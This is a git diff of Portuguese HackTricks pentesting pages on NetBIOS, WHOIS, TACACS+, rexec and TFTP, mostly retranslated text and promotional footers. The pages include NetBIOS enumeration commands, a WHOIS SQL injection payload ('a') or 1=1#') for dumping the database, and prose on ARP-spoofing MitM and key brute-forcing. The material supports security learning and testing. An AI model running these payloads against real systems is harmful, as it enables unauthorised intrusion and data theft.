* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Serviço de Nome NetBios
|
||||||
|
|
||||||
|
O **Serviço de Nome NetBIOS** desempenha um papel crucial, envolvendo vários serviços como **registro e resolução de nomes**, **distribuição de datagramas** e **serviços de sessão**, utilizando portas específicas para cada serviço.
|
||||||
|
|
||||||
|
[Do Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||||
|
|
||||||
* Serviço de nome para registro e resolução de nomes (portas: 137/udp e 137/tcp).
|
* Serviço de nome para registro e resolução de nomes (portas: 137/udp e 137/tcp).
|
||||||
* Serviço de distribuição de datagramas para comunicação sem conexão (porta: 138/udp).
|
* Serviço de distribuição de datagramas para comunicação sem conexão (porta: 138/udp).
|
||||||
* Serviço de sessão para comunicação orientada a conexão (porta: 139/tcp).
|
* Serviço de sessão para comunicação orientada à conexão (porta: 139/tcp).
|
||||||
|
|
||||||
### Serviço de Nome
|
### Serviço de Nome
|
||||||
|
|
||||||
Cada máquina deve ter um nome dentro da rede NetBios. Para solicitar um nome, uma máquina deve enviar um pacote "Consulta de Nome" em broadcast e, se alguém responder que já está usando esse nome, a máquina pode usar esse nome. Se houver um servidor de Serviço de Nome, o computador poderá perguntar ao servidor de Serviço de Nome se alguém está usando o nome que ele deseja usar.
|
Para um dispositivo participar de uma rede NetBIOS, ele deve ter um nome único. Isso é alcançado por meio de um **processo de transmissão** onde um pacote "Consulta de Nome" é enviado. Se não houver objeções recebidas, o nome é considerado disponível. Alternativamente, um **servidor de Serviço de Nome** pode ser consultado diretamente para verificar a disponibilidade do nome ou para resolver um nome para um endereço IP. Ferramentas como `nmblookup`, `nbtscan` e `nmap` são utilizadas para enumerar serviços NetBIOS, revelando nomes de servidores e endereços MAC.
|
||||||
|
|
||||||
Para descobrir o endereço IP de um Nome, um PC deve enviar um pacote "Consulta de Nome" e esperar se alguém responde. Se houver um servidor de Serviço de Nome, o PC pode perguntar a ele o IP do nome.
|
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
Enumerando um serviço NetBIOS, você pode obter os nomes que o servidor está usando e o endereço MAC do servidor.
|
Enumerar um serviço NetBIOS permite obter os nomes que o servidor está usando e o endereço MAC do servidor.
|
||||||
```bash
|
```bash
|
||||||
nmblookup -A <IP>
|
nmblookup -A <IP>
|
||||||
nbtscan <IP>/30
|
nbtscan <IP>/30
|
||||||
|
@ -21,22 +39,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||||
```
|
```
|
||||||
### Serviço de Distribuição de Datagramas
|
### Serviço de Distribuição de Datagramas
|
||||||
|
|
||||||
Os datagramas NetBIOS são enviados por UDP. Um datagrama é enviado com um pacote "Direto Único" ou "Direto em Grupo" se estiver sendo enviado para um nome NetBIOS específico, ou um pacote "Broadcast" se estiver sendo enviado para todos os nomes NetBIOS na rede.
|
Os datagramas NetBIOS permitem comunicação sem conexão via UDP, suportando mensagens diretas ou de transmissão para todos os nomes de rede. Este serviço utiliza a porta **138/udp**.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
138/udp open|filtered netbios-dgm
|
138/udp open|filtered netbios-dgm
|
||||||
```
|
```
|
||||||
### Serviço de Sessão
|
### Serviço de Sessão
|
||||||
|
|
||||||
O modo de sessão permite que dois computadores estabeleçam uma conexão para uma "conversa", permitindo que mensagens maiores sejam tratadas e fornecendo detecção e recuperação de erros.
|
Para interações orientadas à conexão, o **Serviço de Sessão** facilita uma conversa entre dois dispositivos, aproveitando conexões **TCP** através da porta **139/tcp**. Uma sessão começa com um pacote de "Solicitação de Sessão" e pode ser estabelecida com base na resposta. O serviço suporta mensagens maiores, detecção de erros e recuperação, com o TCP lidando com controle de fluxo e retransmissão de pacotes.
|
||||||
|
|
||||||
As sessões são estabelecidas trocando pacotes. O computador que estabelece a sessão tenta fazer uma conexão [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) à porta 139 do computador com o qual a sessão deve ser estabelecida. Se a conexão for estabelecida, o computador que estabelece a sessão envia pela conexão um pacote "Solicitação de Sessão" com os nomes NetBIOS do aplicativo que estabelece a sessão e o nome NetBIOS para o qual a sessão deve ser estabelecida. O computador com o qual a sessão deve ser estabelecida responderá com uma "Resposta Positiva de Sessão" indicando que uma sessão pode ser estabelecida ou uma "Resposta Negativa de Sessão" indicando que nenhuma sessão pode ser estabelecida (seja porque esse computador não está ouvindo sessões sendo estabelecidas para esse nome ou porque não há recursos disponíveis para estabelecer uma sessão para esse nome).
|
A transmissão de dados dentro de uma sessão envolve **pacotes de Mensagem de Sessão**, com as sessões sendo encerradas ao fechar a conexão TCP.
|
||||||
|
|
||||||
Os dados são transmitidos durante uma sessão estabelecida por pacotes de Mensagem de Sessão.
|
Esses serviços são essenciais para a funcionalidade do **NetBIOS**, permitindo comunicação eficiente e compartilhamento de recursos em uma rede. Para obter mais informações sobre os protocolos TCP e IP, consulte suas respectivas páginas da [Wikipedia TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [Wikipedia IP](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||||
|
|
||||||
O TCP lida com o controle de fluxo e retransmissão de todos os pacotes de serviço de sessão e a divisão do fluxo de dados sobre o qual os pacotes são transmitidos em datagramas [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) pequenos o suficiente para caber em pacotes de camada de link.
|
|
||||||
|
|
||||||
As sessões são encerradas fechando a conexão TCP.
|
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
@ -54,30 +68,32 @@ Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||||
Protocol_Description: Netbios #Protocol Abbreviation Spelled out
|
Protocol_Description: Netbios #Protocol Abbreviation Spelled out
|
||||||
|
|
||||||
Entry_1:
|
Entry_1:
|
||||||
Name: Notes
|
Name: Notes
|
||||||
Description: Notes for NetBios
|
Description: Notes for NetBios
|
||||||
Note: |
|
Note: |
|
||||||
Name service for name registration and resolution (ports: 137/udp and 137/tcp).
|
Name service for name registration and resolution (ports: 137/udp and 137/tcp).
|
||||||
Datagram distribution service for connectionless communication (port: 138/udp).
|
Datagram distribution service for connectionless communication (port: 138/udp).
|
||||||
Session service for connection-oriented communication (port: 139/tcp).
|
Session service for connection-oriented communication (port: 139/tcp).
|
||||||
|
|
||||||
Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use.
|
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
|
||||||
|
|
||||||
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
||||||
|
|
||||||
Entry_2:
|
Entry_2:
|
||||||
Name: Find Names
|
Name: Find Names
|
||||||
Description: Three scans to find the names of the server
|
Description: Three scans to find the names of the server
|
||||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,18 +4,18 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Informação Básica
|
# Informação Básica
|
||||||
|
|
||||||
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou titulares de vários recursos da Internet** por meio de bancos de dados específicos. Esses recursos incluem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo encontra aplicação no acesso a um espectro mais amplo de informações.
|
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou titulares de vários recursos da Internet** por meio de bancos de dados específicos. Esses recursos incluem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo é aplicado para acessar um espectro mais amplo de informações.
|
||||||
|
|
||||||
**Porta padrão:** 43
|
**Porta padrão:** 43
|
||||||
```
|
```
|
||||||
|
@ -33,7 +33,7 @@ Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco d
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (147).png>)
|
![](<../.gitbook/assets/image (147).png>)
|
||||||
|
|
||||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você pode ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
|
@ -65,10 +65,10 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,4 @@
|
||||||
# 49 - Pentesting TACACS+
|
# Informações Básicas
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
## Informações Básicas
|
|
||||||
|
|
||||||
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
||||||
```
|
```
|
||||||
|
@ -29,7 +13,7 @@ Se a comunicação entre o cliente e o servidor TACACS for interceptada por um a
|
||||||
|
|
||||||
### Realizando um Ataque Man-in-the-Middle (MitM)
|
### Realizando um Ataque Man-in-the-Middle (MitM)
|
||||||
|
|
||||||
Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||||
|
|
||||||
### Força Bruta na Chave
|
### Força Bruta na Chave
|
||||||
|
|
||||||
|
@ -56,9 +40,9 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
É um serviço que **permite executar um comando dentro de um host** se você conhece **credenciais** válidas (nome de usuário e senha).
|
É um serviço que **permite que você execute um comando dentro de um host** se você souber as **credenciais** válidas (nome de usuário e senha).
|
||||||
|
|
||||||
**Porta Padrão:** 512
|
**Porta Padrão:** 512
|
||||||
```
|
```
|
||||||
|
@ -27,14 +27,14 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,10 +4,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -15,9 +15,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
# Informações Básicas
|
# Informações Básicas
|
||||||
|
|
||||||
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo simples usado na **porta UDP 69** que permite transferências de arquivos sem autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
|
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo direto usado na **porta UDP 69** que permite transferências de arquivos sem a necessidade de autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
|
||||||
|
|
||||||
**TODO**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, avise-nos, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
